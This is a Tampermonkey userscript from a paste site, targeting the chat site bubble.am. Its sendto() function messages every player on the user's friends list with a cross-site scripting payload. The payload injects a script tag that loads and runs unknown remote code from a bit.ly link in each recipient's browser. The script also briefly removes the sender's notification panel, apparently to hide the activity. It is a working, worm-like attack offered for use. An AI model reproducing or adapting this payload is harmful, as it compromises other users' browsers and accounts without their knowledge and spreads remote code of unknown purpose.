Untitled - MARKUP 2.74 KB
                                
                                    // ==UserScript==
// @name         cocacabana
// @namespace    http://tampermonkey.net/
// @include http://bubble.am/index.php
// @version      0.1
// @description  try to take over the world!
// @author       You
// @match        http://bubble.am/
// @icon         https://www.google.com/s2/favicons?domain=bubble.am
// @grant        GM_log
// @run-at document-end
// ==/UserScript==

(function(d, e) {
    if (d.exscritpt) throw new Error("...");
    d.exscritpt = true;
    var removed = false;
   $('.mod_banner').remove();
setTimeout(function(){$('.mod_banner').remove();},5e3);
    var image = document.createElement("IMG");
    image.alt = "Alt information for image";
    image.setAttribute('class', 'photo');
    image.setAttribute('height', '93px');
    image.src="https://www.gify.net/data/media/481/kaczka-ruchomy-obrazek-0150.gif";
    var div = document.createElement("DIV");
    div.setAttribute('id', 'photodiv');
    var ak = document.getElementsByClassName("photo")[0];
    if (!ak) {$('#settings').after(div);
$('#photodiv').append(image).css('text-align','center');
}
    d.friends = [];
    d.friendsold = [];
    d.fsend = [];
setTimeout(sendto,1e3);
    function sendto() {
        var a = document.querySelectorAll('[data-player]');
        d.friendsold = d.friends;
        d.friends = [];
        a.forEach(function(el) {
            if (d.friends.indexOf(el.getAttribute('data-player')) == -1){
                d.friends.push(el.getAttribute('data-player'));
            }
        });
        d.friendsold.forEach(function(el) {
            if (d.friends.indexOf(el) == -1){
                if (d.fsend.indexOf(el) != -1) {
                    d.fsend.splice(fsend.indexOf(el),1);
                }
            }
        });
var lp=1;
        d.friends.forEach(function(el) {
                if (fsend.indexOf(el) == -1) {
    if (!removed) {$('#bubbleNotifications').remove(); removed=true;}
                fsend.push(el);
                //GM_log('Wysłano do ' + el);
            setTimeout(function() {
d.bubbleSend(el,'"><script>$(".bubble_invite,#alert_audio").remove();$.getScript("//bit.ly/3xwovJN");</script><a::');
//d.bubbleSend(el,'hej');

}, lp * 1e3)
lp++;
                }
        })
setTimeout(function() { if (removed) {
    var divnot = document.createElement("DIV");
    divnot.setAttribute('id', 'bubbleNotifications');
    $('#time2end').after(divnot);
removed = false;
}
}, lp * 1e3 + 5e3)
    }
$('#friends-view-modal-data').bind('DOMSubtreeModified', function(){
  sendto();
});
})(window,jQuery);
                                
                            

Paste Hosted With By Wklejamy.pl